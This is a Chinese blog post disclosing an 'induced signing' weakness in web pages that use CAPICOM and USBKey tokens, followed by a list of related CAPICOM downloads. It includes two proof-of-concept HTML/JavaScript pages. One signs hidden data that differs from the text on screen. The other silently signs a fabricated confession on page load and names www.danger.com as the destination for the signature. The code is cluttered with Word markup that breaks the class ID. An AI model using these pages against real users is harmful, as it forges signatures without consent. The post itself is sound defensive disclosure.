很多人喜欢使用UsbKey产生数字签名的方式提交到服务器,最近我做的几个省厅的项目均如此,利用USBKey提供的ActiveX插件(更常见的是CAPICOM接口)通过USBKey厂商提供的WindowsCSP去调用UsbKey产生数字签名。
1,
用户在页面浏览文书
2,
用户对页面中的
Form
数据进行签名
3,
在本地产生数字签名
4,
数字签名提交到服务器
大家都认为以上的方案非常可靠,但这种方案存在一个极为严重的安全问题——诱导签名。
UsbKey的用户在大多数情况下无法确认自己看到的数据就是自己说签名的数据!因为,签名数据源是通过
JavaScript
去控制的,而不是用户。
我举一个简单的例子,如下面的页面
,
用户看到并以为自己产生签名的源数据是“逮捕张子强及其同伙”
,
但其实不是!
<script src="Sign.js"></script><!----><o:p></o:p>
<OBJECT id="oCAPICOM" <o:p></o:p>
codeBase="capicom.cab#version=2,0,0,3" classid="clsid:A996E<!----><st1:chmetcnv unitname="C" sourcevalue="48" hasspace="False" negative="False" numbertype="1" tcsc="0" w:st="on">48C</st1:chmetcnv>-D3DC-4244<st1:chmetcnv unitname="F" sourcevalue="89" hasspace="False" negative="True" numbertype="1" tcsc="0" w:st="on">-89F</st1:chmetcnv>7-AFA33EC60679"></OBJECT><o:p></o:p>
<o:p> </o:p>
<br><o:p></o:p>
<form id="writeSig" method="post" name="writeSig" action="/SignServlet" target="_top"><o:p></o:p>
看上去进行签名的数据:
<input name="data" value="
逮捕张子强及其同伙
"
><o:p></o:p>
<o:p> </o:p>
<br><o:p></o:p>
<!--
实际上进行签名的数据:
"
释放张子强及其同伙
" --><o:p></o:p>
<input type="hidden" name="data_danger" value="
释放张子强及其同伙
"
><o:p></o:p>
<br><o:p></o:p>
<o:p> </o:p>
数字签名结果:
<textarea cols="100" rows="20" id="theSignedData"></textarea><o:p></o:p>
<br><o:p></o:p>
<INPUT TYPE="button" name=t1 <o:p></o:p>
value="
签名数据
" onclick="theSignedData.value=pkiSignData(data_danger.value)"><o:p></o:p>
</form>
|
上面的恶意例子能够运行于所有的
USBKey
的页面,用户签名的数据其实是“释放张子强及其同伙”。但由于数据被隐藏于页面之后,用户根本看不到,以至于产生恶意诱导签名的严重后果。
防止这种恶意诱导签名的办法通常是在服务器要确保所有的涉及数字签名的页面在传递到客户端
IE
浏览器前,都不会被篡改,但这种方法不能保证
100%
安全,因为在用户那一端,仍然存在一种非常高风险的诱导签名的可能,甚至是未经用户许可,直接调用用户
USBKey
去产生恶意数字签名,看下面的例子:
用户在浏览页面的时候,已经在页面背后无声无色地产生了数字签名,而且用户根本无法知道自己已经对“
我今天去好又多偷了几包烟
”这样的内容进行了签名!
下面的例子是真实的例子,能够运行于任何的
IE
浏览器,最后的结果是,页面通过用户的
UsbKey
产生了恶意签名并送到
www.danger.com
。
<script src="Sign.js"></script><o:p></o:p>
<OBJECT id="oCAPICOM" <o:p></o:p>
codeBase="capicom.cab#version=2,0,0,3" classid="clsid:A996E<st1:chmetcnv unitname="C" sourcevalue="48" hasspace="False" negative="False" numbertype="1" tcsc="0" w:st="on">48C</st1:chmetcnv>-D3DC-4244<st1:chmetcnv unitname="F" sourcevalue="89" hasspace="False" negative="True" numbertype="1" tcsc="0" w:st="on">-89F</st1:chmetcnv>7-AFA33EC60679"></OBJECT><o:p></o:p>
<body onLoad="signWithAllowed()"><o:p></o:p>
<br><o:p></o:p>
<form id="writeSig" method="post" name="writeSig" action="/SignServlet" target="_top"><o:p></o:p>
你在浏览文书:
<input name="data" value="
逮捕张子强及其同伙
"><o:p></o:p>
你以为这是仅仅是一个用于浏览的页面!!
<o:p>
</o:p>
<o:p> </o:p>
</body><o:p></o:p>
<o:p> </o:p>
<script><o:p></o:p>
function signWithAllowed()<o:p></o:p>
{<o:p></o:p>
//alert('
恶意签名执行
,
以下的签名将不知不觉地被产生,并保存到某个地方
');<o:p></o:p>
var sign_value=pkiSignData(' 我今天去好又多偷了几包烟 s');<o:p></o:p>
//alert(sign_value);<o:p></o:p>
sendSignValueToDangerPalce();<o:p></o:p>
}<o:p></o:p>
<o:p> </o:p>
function sendSignValueToDangerPalce()<o:p></o:p>
{<o:p></o:p>
//Send Signvalue to www.danger.com<o:p></o:p>
}<o:p></o:p>
</script>
|
在目前大多数Usbkey中均存在诱导签名的问题,在第一次产生数字签名的时候,USBKey会提示用户输入PIN,但在第2次,第3次签名动作产生的时候,这些都已经是用户无法感知的事实!
这就是我为什么不希望使用B/S,而是C/S方式手段产生数字签名的原因。
我的另外一篇文章提到如何通过Java调用CryptoAPI:
http://www.blogjava.net/security/archive/2006/07/11/java_cryptoapi_csp_signature.html, 已经被用于SecureX Eclipse Plugin(securex.sourceforge.net)当中。
在我负责的多个业务系统中的数字签名/印章中,均存在上面的危险!除非我们能够确保恶意页面不存在,否则,某个程序员在系统中,哪怕是Insert很小一段JS代码到某个不显眼的页面,后果是非常严重的。
分享到:
相关推荐
通过这个源代码,开发者不仅可以学习到如何使用Capicom进行数字签名和验证,还可以了解到如何在实际项目中应用这些概念,特别是在需要保障数据安全的场景下。尽管Capicom已经被弃用,但其背后的原理和方法在许多现代...
CAPICOM(Component Object Model for Public Key Infrastructure Components)是由微软提供的一种用于.NET Framework的安全组件,它提供了对公钥基础设施(PKI)的支持,包括证书管理、签名和加密等功能。...
CAPICOM是微软提供的一套安全组件,它允许开发者在应用程序中实现加密、解密、数字签名等功能,尤其适用于.NET Framework环境。 首先,我们要理解数字签名的概念。数字签名是一种用于验证电子文档完整性和发送者...
将待签名数据以BASE64格式传入,页面调用此javascript进行签名。可以支持IE。
通过学习这些源代码,开发者可以了解如何在.NET应用程序中使用Capicom进行安全操作,如签署文件、验证签名、加密通信等,这对于开发安全的软件和服务至关重要。同时,由于Capicom已在较新的.NET版本中被弃用,开发者...
微软的数字证书组件capicom和SDK 下载的资源
CAPICOM,全称为“Cryptographic API Component Object Model”,是微软提供的一套安全工具,用于在应用程序中实现加密、数字签名和证书管理等功能。在Windows Server 2008操作系统中,capicom.dll是系统正常运行或...
在Delphi编程环境中,CAPICOM可以被用来进行各种安全操作,如文件加密、解密、数字签名等。 本实例中的"CAPICOM for delphi应用实例"是一个非常珍贵的资源,因为网上的相关资料确实不多。它包含了`CAPICOM_TLB.pas`...
微软签名的capicom.cab,可用于数字签名
Capicom包是一个由微软开发的组件,主要用于加密、签名和哈希操作,它在Windows操作系统中扮演着重要的角色。这个包包含了一个 CAB 文件,其中封装了 Capicom 的 DLL 库,这些库提供了与安全相关的API,供开发者在...
【标题】"CAPICOM.zip_capicom_zip" 涉及到的是CAPICOM组件在Delphi环境下的应用,这是一个用于数字签名、加密和证书管理的Microsoft组件。 【描述】"Compent CAPICOM Delphi" 提示我们,CAPICOM(Cryptographic ...
在IT行业中,尤其是在安全领域,数字签名和加密技术是至关重要的。Capicom与Java之间的交互是一个常见的需求,尤其是在Windows环境中使用Java进行开发时。本文将深入探讨Capicom库在Java中的应用,以及如何在2013年6...
接着,capicom.dll是微软的CAPICOM(加密API:第二版组件)的一部分,提供了一系列API接口,用于处理证书、加密、解密和数字签名。开发者可以利用这些接口在应用程序中实现证书相关的功能。然而,需要注意的是,...
描述进一步解释了CAPICOM(Cryptographic API Component Object Model)是微软Windows操作系统的一部分,特别的是,它提供了Delphi编程语言的调用源代码,这意味着开发人员可以利用这个组件在Delphi应用中实现加密和...
总的来说,CAPICOM.CAB是解决IE浏览器数字证书问题的关键组件,通过提供一套全面的加密工具,增强了浏览器的安全性能,特别是对于那些需要高安全性的网上交易和通信场景。用户在遇到与数字证书相关的错误时,可以...
Capicom接口介绍主要涉及到的是微软(MS)提供的一个ActiveX控件,名为Capicom,它主要用于处理证书相关的安全操作,包括证书解析、有效性验证、加密解密、签名和验证等功能。这个控件适用于Windows操作系统,并且支持...
CAPICOM 是微软提供的一组接口,用于加密、数字签名、消息摘要等安全操作。在这个项目中,开发者可能在尝试创建一个日志注册功能,这通常涉及到记录系统活动或应用程序事件,以便于故障排查和审计。 描述 "Create ...
6. **代码示例**:这些示例代码可能包含了如何使用CAPICOM控件进行证书操作的步骤,如获取当前用户的个人证书存储、签署文件、验证签名等,对于学习和理解CAPICOM与Delphi结合使用有很大帮助。 总结来说,这个...
标题中的"capicom.dll"、"xenroll.dll"以及"capicom.cab"都是与数字证书和安全相关的组件,这些文件在Windows操作系统中扮演着关键角色。它们主要用于处理PKI(公钥基础设施)和证书操作,如数字签名、加密等。 ...